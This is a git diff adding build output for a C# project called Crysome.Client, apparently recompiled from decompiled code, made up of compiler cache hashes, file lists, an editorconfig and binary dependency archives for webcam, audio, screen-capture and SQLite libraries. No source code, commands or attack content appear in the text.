a/Crysome.Client/obj/Debug/win-x64/Crysome.Client.csproj.AssemblyReference.cache b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.csproj.AssemblyReference.cache new file mode 100644 index 0000000..0ed8054 Binary files /dev/null and b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.csproj.AssemblyReference.cache differ diff --git a/Crysome.Client/obj/Debug/win-x64/Crysome.Client.csproj.CoreCompileInputs.cache b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..4517ddc --- /dev/null +++ b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +a9da2e15a96cd0c9a23c62178b19ba57f0ea5b54756754768d866dad18f55e3b diff --git a/Crysome.Client/obj/Debug/win-x64/Crysome.Client.csproj.FileListAbsolute.txt b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..58f159c --- /dev/null +++ b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.csproj.FileListAbsolute.txt @@ -0,0 +1,14 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\Crysome.Client.exe +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\Crysome.Client.deps.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\Crysome.Client.runtimeconfig.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\Crysome.Client.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\Crysome.Client.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\win-x64\Crysome.Client.csproj.AssemblyReference.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\win-x64\Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\win-x64\Crysome.Client.csproj.CoreCompileInputs.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\win-x64\Crysome..2BF6066E.Up2Date +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\win-x64\Crysome.Client.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\win-x64\refint\Crysome.Client.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\win-x64\Crysome.Client.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\win-x64\Crysome.Client.genruntimeconfig.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Debug\win-x64\ref\Crysome.Client.dll diff --git a/Crysome.Client/obj/Debug/win-x64/Crysome.Client.dll b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.dll new file mode 100644 index 0000000..a06fde7 Binary files /dev/null and b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.dll differ diff --git a/Crysome.Client/obj/Debug/win-x64/Crysome.Client.genruntimeconfig.cache b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.genruntimeconfig.cache new file mode 100644 index 0000000..e690897 --- /dev/null +++ b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.genruntimeconfig.cache @@ -0,0 +1 @@ +557ab851c8fef1d480a63ab8ad04e599ff72e32fc6baaea477e9542ac157e511 diff --git a/Crysome.Client/obj/Debug/win-x64/Crysome.Client.pdb b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.pdb new file mode 100644 index 0000000..54baa68 Binary files /dev/null and b/Crysome.Client/obj/Debug/win-x64/Crysome.Client.pdb differ diff --git a/Crysome.Client/obj/Debug/win-x64/apphost.exe b/Crysome.Client/obj/Debug/win-x64/apphost.exe new file mode 100644 index 0000000..08c3a01 Binary files /dev/null and b/Crysome.Client/obj/Debug/win-x64/apphost.exe differ diff --git a/Crysome.Client/obj/Debug/win-x64/ref/Crysome.Client.dll b/Crysome.Client/obj/Debug/win-x64/ref/Crysome.Client.dll new file mode 100644 index 0000000..e9b675b Binary files /dev/null and b/Crysome.Client/obj/Debug/win-x64/ref/Crysome.Client.dll differ diff --git a/Crysome.Client/obj/Debug/win-x64/refint/Crysome.Client.dll b/Crysome.Client/obj/Debug/win-x64/refint/Crysome.Client.dll new file mode 100644 index 0000000..e9b675b Binary files /dev/null and b/Crysome.Client/obj/Debug/win-x64/refint/Crysome.Client.dll differ diff --git a/Crysome.Client/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs b/Crysome.Client/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs new file mode 100644 index 0000000..057ed7f --- /dev/null +++ b/Crysome.Client/obj/Release/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] diff --git a/Crysome.Client/obj/Release/Costura/042522CEC4F745DF62FF0B4EC9C7E663FF7F1CCE.costura.system.data.sqlite.ef6.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/042522CEC4F745DF62FF0B4EC9C7E663FF7F1CCE.costura.system.data.sqlite.ef6.dll.compressed.compressed new file mode 100644 index 0000000..c2fcbc4 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/042522CEC4F745DF62FF0B4EC9C7E663FF7F1CCE.costura.system.data.sqlite.ef6.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/092696FDCC034910AA02C94A5C93F4E1E86E0C50.costura.sharpdx.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/092696FDCC034910AA02C94A5C93F4E1E86E0C50.costura.sharpdx.dll.compressed.compressed new file mode 100644 index 0000000..dcac420 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/092696FDCC034910AA02C94A5C93F4E1E86E0C50.costura.sharpdx.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/0999178949DE510A47D87DE3B8A117A003C572EE.costura.naudio.winmm.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/0999178949DE510A47D87DE3B8A117A003C572EE.costura.naudio.winmm.dll.compressed.compressed new file mode 100644 index 0000000..27078d5 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/0999178949DE510A47D87DE3B8A117A003C572EE.costura.naudio.winmm.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/1C27A41FD84D6BFE99DABAE2E59FCF12FCCF6213.costura.microsoft.win32.registry.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/1C27A41FD84D6BFE99DABAE2E59FCF12FCCF6213.costura.microsoft.win32.registry.dll.compressed.compressed new file mode 100644 index 0000000..9f40d14 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/1C27A41FD84D6BFE99DABAE2E59FCF12FCCF6213.costura.microsoft.win32.registry.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/2242627282F9E07E37B274EA36FAC2D3CD9C9110.costura.system.threading.tasks.extensions.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/2242627282F9E07E37B274EA36FAC2D3CD9C9110.costura.system.threading.tasks.extensions.dll.compressed.compressed new file mode 100644 index 0000000..2a2fd40 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/2242627282F9E07E37B274EA36FAC2D3CD9C9110.costura.system.threading.tasks.extensions.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/2AED74577F5F623F7E910ADDA8EF74A11EEA0437.costura.system.security.principal.windows.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/2AED74577F5F623F7E910ADDA8EF74A11EEA0437.costura.system.security.principal.windows.dll.compressed.compressed new file mode 100644 index 0000000..0b8b931 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/2AED74577F5F623F7E910ADDA8EF74A11EEA0437.costura.system.security.principal.windows.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/2DA9EC7612835E1F69D4A93AA2D49EC9BDFF7F7C.costura.aforge.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/2DA9EC7612835E1F69D4A93AA2D49EC9BDFF7F7C.costura.aforge.dll.compressed.compressed new file mode 100644 index 0000000..9aadb9e Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/2DA9EC7612835E1F69D4A93AA2D49EC9BDFF7F7C.costura.aforge.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/2E8785F0098C3D42182C6FA7B977244D710A4C30.costura.system.data.sqlite.linq.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/2E8785F0098C3D42182C6FA7B977244D710A4C30.costura.system.data.sqlite.linq.dll.compressed.compressed new file mode 100644 index 0000000..88ecfa2 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/2E8785F0098C3D42182C6FA7B977244D710A4C30.costura.system.data.sqlite.linq.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/3355B5D75CB3B87F731066960B545B69EDEFD29E.costura.crysome.common.client.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/3355B5D75CB3B87F731066960B545B69EDEFD29E.costura.crysome.common.client.dll.compressed.compressed new file mode 100644 index 0000000..e325f58 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/3355B5D75CB3B87F731066960B545B69EDEFD29E.costura.crysome.common.client.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/3CD982AD2FB00A50151D7F416E4B05F79528496E.costura.entityframework.sqlserver.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/3CD982AD2FB00A50151D7F416E4B05F79528496E.costura.entityframework.sqlserver.dll.compressed.compressed new file mode 100644 index 0000000..75df72c Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/3CD982AD2FB00A50151D7F416E4B05F79528496E.costura.entityframework.sqlserver.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/54C76A2FA61E6DF1AE4C9DF65435A38482C2CB71.costura.entityframework.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/54C76A2FA61E6DF1AE4C9DF65435A38482C2CB71.costura.entityframework.dll.compressed.compressed new file mode 100644 index 0000000..b5d6ab9 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/54C76A2FA61E6DF1AE4C9DF65435A38482C2CB71.costura.entityframework.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/55DDFBE80762C02F9A9C65809F9EC3EF8F7F2CCC.costura.system.text.encodings.web.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/55DDFBE80762C02F9A9C65809F9EC3EF8F7F2CCC.costura.system.text.encodings.web.dll.compressed.compressed new file mode 100644 index 0000000..d34e4ba Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/55DDFBE80762C02F9A9C65809F9EC3EF8F7F2CCC.costura.system.text.encodings.web.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/5BA0C52D9D60B34EE74D013F8389804029E60F0E.costura.system.data.sqlite.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/5BA0C52D9D60B34EE74D013F8389804029E60F0E.costura.system.data.sqlite.dll.compressed.compressed new file mode 100644 index 0000000..37f1f7b Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/5BA0C52D9D60B34EE74D013F8389804029E60F0E.costura.system.data.sqlite.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/685B19CE0FAF86E7A2823B7DB1290A621A8015F0.costura.libjpeg-turbo-native-win.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/685B19CE0FAF86E7A2823B7DB1290A621A8015F0.costura.libjpeg-turbo-native-win.dll.compressed.compressed new file mode 100644 index 0000000..c012f23 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/685B19CE0FAF86E7A2823B7DB1290A621A8015F0.costura.libjpeg-turbo-native-win.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/6CF807DAA6AB142EAD6619ADDF8FC11C56DD51F9.costura.naudio.winforms.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/6CF807DAA6AB142EAD6619ADDF8FC11C56DD51F9.costura.naudio.winforms.dll.compressed.compressed new file mode 100644 index 0000000..4a73dab Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/6CF807DAA6AB142EAD6619ADDF8FC11C56DD51F9.costura.naudio.winforms.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/74DC07A8CCCEE0CA3BF5CF64320230CA1A37AD85.costura.microsoft.bcl.asyncinterfaces.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/74DC07A8CCCEE0CA3BF5CF64320230CA1A37AD85.costura.microsoft.bcl.asyncinterfaces.dll.compressed.compressed new file mode 100644 index 0000000..b9e7f49 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/74DC07A8CCCEE0CA3BF5CF64320230CA1A37AD85.costura.microsoft.bcl.asyncinterfaces.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/85DC92EDD4B0049ED9049E075C4DEF8A3D64E43B.costura.system.diagnostics.diagnosticsource.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/85DC92EDD4B0049ED9049E075C4DEF8A3D64E43B.costura.system.diagnostics.diagnosticsource.dll.compressed.compressed new file mode 100644 index 0000000..b707e52 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/85DC92EDD4B0049ED9049E075C4DEF8A3D64E43B.costura.system.diagnostics.diagnosticsource.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/8890AD1911448490526D2A45AC8CC518B6E886A2.costura.system.numerics.vectors.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/8890AD1911448490526D2A45AC8CC518B6E886A2.costura.system.numerics.vectors.dll.compressed.compressed new file mode 100644 index 0000000..ed53f43 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/8890AD1911448490526D2A45AC8CC518B6E886A2.costura.system.numerics.vectors.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/8A3B1BD9DF5D052C24DE2304A2928FAD86927F6D.costura.system.security.accesscontrol.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/8A3B1BD9DF5D052C24DE2304A2928FAD86927F6D.costura.system.security.accesscontrol.dll.compressed.compressed new file mode 100644 index 0000000..bacc690 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/8A3B1BD9DF5D052C24DE2304A2928FAD86927F6D.costura.system.security.accesscontrol.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/8A45F0400F6BC46D254120345FD5E39B6C9B71A1.costura.naudio.wasapi.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/8A45F0400F6BC46D254120345FD5E39B6C9B71A1.costura.naudio.wasapi.dll.compressed.compressed new file mode 100644 index 0000000..644a63c Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/8A45F0400F6BC46D254120345FD5E39B6C9B71A1.costura.naudio.wasapi.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/8C23283128D23F6CBC208E3A485A1CF1A9C0CB50.costura.system.buffers.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/8C23283128D23F6CBC208E3A485A1CF1A9C0CB50.costura.system.buffers.dll.compressed.compressed new file mode 100644 index 0000000..58e80f8 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/8C23283128D23F6CBC208E3A485A1CF1A9C0CB50.costura.system.buffers.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/8D836FEBD477B3EC44CC37F4F0AECDAA1D7DB788.costura.sharpdx.dxgi.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/8D836FEBD477B3EC44CC37F4F0AECDAA1D7DB788.costura.sharpdx.dxgi.dll.compressed.compressed new file mode 100644 index 0000000..342620b Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/8D836FEBD477B3EC44CC37F4F0AECDAA1D7DB788.costura.sharpdx.dxgi.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/B01C83EC51F7A6548D1BABB5E5FF8D5B944965A1.costura.naudio.asio.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/B01C83EC51F7A6548D1BABB5E5FF8D5B944965A1.costura.naudio.asio.dll.compressed.compressed new file mode 100644 index 0000000..1a288eb Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/B01C83EC51F7A6548D1BABB5E5FF8D5B944965A1.costura.naudio.asio.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/B699E8E2CFC52BC3CFBA182FDABFC7F6FF8F82DE.costura.naudio.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/B699E8E2CFC52BC3CFBA182FDABFC7F6FF8F82DE.costura.naudio.dll.compressed.compressed new file mode 100644 index 0000000..016c99c Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/B699E8E2CFC52BC3CFBA182FDABFC7F6FF8F82DE.costura.naudio.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/B6A844F55DC67286FDF9578A5C55D003646AD2E5.costura.crysome.common.client.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/B6A844F55DC67286FDF9578A5C55D003646AD2E5.costura.crysome.common.client.dll.compressed.compressed new file mode 100644 index 0000000..e805bbd Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/B6A844F55DC67286FDF9578A5C55D003646AD2E5.costura.crysome.common.client.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/CB874B2A2561239B5B1C30A49574229716F5F62D.costura.naudio.midi.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/CB874B2A2561239B5B1C30A49574229716F5F62D.costura.naudio.midi.dll.compressed.compressed new file mode 100644 index 0000000..25d2ab8 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/CB874B2A2561239B5B1C30A49574229716F5F62D.costura.naudio.midi.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/CCC0931E2CF3D6D79E24C1F28D9C96B40C131AF6.costura.naudio.core.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/CCC0931E2CF3D6D79E24C1F28D9C96B40C131AF6.costura.naudio.core.dll.compressed.compressed new file mode 100644 index 0000000..de0f369 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/CCC0931E2CF3D6D79E24C1F28D9C96B40C131AF6.costura.naudio.core.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/D1664731719E85AAD7A2273685D77FEB0204EC98.costura.system.valuetuple.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/D1664731719E85AAD7A2273685D77FEB0204EC98.costura.system.valuetuple.dll.compressed.compressed new file mode 100644 index 0000000..2ff8065 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/D1664731719E85AAD7A2273685D77FEB0204EC98.costura.system.valuetuple.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/D3A17C1FDD6D54951141053F88BF8238DEA0B937.costura.aforge.video.directshow.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/D3A17C1FDD6D54951141053F88BF8238DEA0B937.costura.aforge.video.directshow.dll.compressed.compressed new file mode 100644 index 0000000..7b8c8e9 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/D3A17C1FDD6D54951141053F88BF8238DEA0B937.costura.aforge.video.directshow.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/D3AD7F529C0B9232206348842E31566AD7347135.costura.system.text.json.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/D3AD7F529C0B9232206348842E31566AD7347135.costura.system.text.json.dll.compressed.compressed new file mode 100644 index 0000000..07c0408 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/D3AD7F529C0B9232206348842E31566AD7347135.costura.system.text.json.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/D82F5E3D718BC9172FCFE0E8C50CB20251762058.costura.sharpdx.direct3d11.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/D82F5E3D718BC9172FCFE0E8C50CB20251762058.costura.sharpdx.direct3d11.dll.compressed.compressed new file mode 100644 index 0000000..a639b80 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/D82F5E3D718BC9172FCFE0E8C50CB20251762058.costura.sharpdx.direct3d11.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/DDFFDCEF29DADDC36CA7D8AE2C8E01C1C8BB23A8.costura.aforge.video.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/DDFFDCEF29DADDC36CA7D8AE2C8E01C1C8BB23A8.costura.aforge.video.dll.compressed.compressed new file mode 100644 index 0000000..95f7635 Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/DDFFDCEF29DADDC36CA7D8AE2C8E01C1C8BB23A8.costura.aforge.video.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/E5D644311A6087C6A500F0E79BAE4AF305430B3D.costura.system.runtime.compilerservices.unsafe.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/E5D644311A6087C6A500F0E79BAE4AF305430B3D.costura.system.runtime.compilerservices.unsafe.dll.compressed.compressed new file mode 100644 index 0000000..886219a Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/E5D644311A6087C6A500F0E79BAE4AF305430B3D.costura.system.runtime.compilerservices.unsafe.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/F1F25C01F6ACF33BDD62C4F82D3EF078E76F0906.costura.costura.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/F1F25C01F6ACF33BDD62C4F82D3EF078E76F0906.costura.costura.dll.compressed.compressed new file mode 100644 index 0000000..113157e Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/F1F25C01F6ACF33BDD62C4F82D3EF078E76F0906.costura.costura.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/F349CD5D3FB9E1C53D81F37B00E428A90ABE7C81.costura.libjpeg-turbo-net.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/F349CD5D3FB9E1C53D81F37B00E428A90ABE7C81.costura.libjpeg-turbo-net.dll.compressed.compressed new file mode 100644 index 0000000..1a2642c Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/F349CD5D3FB9E1C53D81F37B00E428A90ABE7C81.costura.libjpeg-turbo-net.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Costura/F8A118F07EEA37CE732B487AB730646DEDC46235.costura.system.memory.dll.compressed.compressed b/Crysome.Client/obj/Release/Costura/F8A118F07EEA37CE732B487AB730646DEDC46235.costura.system.memory.dll.compressed.compressed new file mode 100644 index 0000000..ae1c98f Binary files /dev/null and b/Crysome.Client/obj/Release/Costura/F8A118F07EEA37CE732B487AB730646DEDC46235.costura.system.memory.dll.compressed.compressed differ diff --git a/Crysome.Client/obj/Release/Crysome..2BF6066E.Up2Date b/Crysome.Client/obj/Release/Crysome..2BF6066E.Up2Date new file mode 100644 index 0000000..e69de29 diff --git a/Crysome.Client/obj/Release/Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig b/Crysome.Client/obj/Release/Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..b2b9be4 --- /dev/null +++ b/Crysome.Client/obj/Release/Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,14 @@ +is_global = true +build_property.ApplicationManifest = +build_property.StartupObject = +build_property.ApplicationDefaultFont = +build_property.ApplicationHighDpiMode = +build_property.ApplicationUseCompatibleTextRendering = +build_property.ApplicationVisualStyles = +build_property.RootNamespace = Crysome.Client +build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = +build_property.EnableCodeStyleSeverity = diff --git a/Crysome.Client/obj/Release/Crysome.Client.assets.cache b/Crysome.Client/obj/Release/Crysome.Client.assets.cache new file mode 100644 index 0000000..5a893f1 Binary files /dev/null and b/Crysome.Client/obj/Release/Crysome.Client.assets.cache differ diff --git a/Crysome.Client/obj/Release/Crysome.Client.csproj.AssemblyReference.cache b/Crysome.Client/obj/Release/Crysome.Client.csproj.AssemblyReference.cache new file mode 100644 index 0000000..c2379de Binary files /dev/null and b/Crysome.Client/obj/Release/Crysome.Client.csproj.AssemblyReference.cache differ diff --git a/Crysome.Client/obj/Release/Crysome.Client.csproj.CoreCompileInputs.cache b/Crysome.Client/obj/Release/Crysome.Client.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..f77b818 --- /dev/null +++ b/Crysome.Client/obj/Release/Crysome.Client.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +abc7e7a9e6736f340419c4766840cac62a852bec17dcd82543629927b658b10f diff --git a/Crysome.Client/obj/Release/Crysome.Client.csproj.FileListAbsolute.txt b/Crysome.Client/obj/Release/Crysome.Client.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..58dee31 --- /dev/null +++ b/Crysome.Client/obj/Release/Crysome.Client.csproj.FileListAbsolute.txt @@ -0,0 +1,14 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\turbojpeg.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\turbojpeg.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x86\turbojpeg.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Client.exe.config +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Client.exe +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\Crysome.Client.csproj.AssemblyReference.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\Crysome.Client.csproj.SuggestedBindingRedirects.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\Crysome.Client.exe.config +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\Crysome.Client.csproj.CoreCompileInputs.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\Crysome.Client.csproj.Fody.CopyLocal.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\Crysome.Client.csproj.Fody.RuntimeCopyLocal.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\Crysome..2BF6066E.Up2Date +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\Crysome.Client.exe diff --git a/Crysome.Client/obj/Release/Crysome.Client.csproj.Fody.CopyLocal.cache b/Crysome.Client/obj/Release/Crysome.Client.csproj.Fody.CopyLocal.cache new file mode 100644 index 0000000..4c74dd3 --- /dev/null +++ b/Crysome.Client/obj/Release/Crysome.Client.csproj.Fody.CopyLocal.cache @@ -0,0 +1,6 @@ +C:\Users\lukas\.nuget\packages\aforge\2.2.5\lib\AForge.dll +C:\Users\lukas\.nuget\packages\entityframework\6.4.4\lib\net45\EntityFramework.SqlServer.dll +C:\Users\lukas\.nuget\packages\entityframework\6.4.4\lib\net45\EntityFramework.dll +C:\Users\lukas\.nuget\packages\system.data.sqlite.ef6\1.0.119\lib\net46\System.Data.SQLite.EF6.dll +C:\Users\lukas\.nuget\packages\system.data.sqlite.linq\1.0.119\lib\net46\System.Data.SQLite.Linq.dll +C:\Users\lukas\.nuget\packages\system.diagnostics.diagnosticsource\4.3.0\lib\net46\System.Diagnostics.DiagnosticSource.dll diff --git a/Crysome.Client/obj/Release/Crysome.Client.csproj.Fody.RuntimeCopyLocal.cache b/Crysome.Client/obj/Release/Crysome.Client.csproj.Fody.RuntimeCopyLocal.cache new file mode 100644 index 0000000..f9f1a57 --- /dev/null +++ b/Crysome.Client/obj/Release/Crysome.Client.csproj.Fody.RuntimeCopyLocal.cache @@ -0,0 +1,58 @@ +C:\Users\lukas\.nuget\packages\aforge\2.2.5\lib\AForge.dll +C:\Users\lukas\.nuget\packages\aforge.video\2.2.5\lib\AForge.Video.dll +C:\Users\lukas\.nuget\packages\aforge.video.directshow\2.2.5\lib\AForge.Video.DirectShow.dll +C:\Users\lukas\.nuget\packages\entityframework\6.4.4\lib\net45\EntityFramework.SqlServer.dll 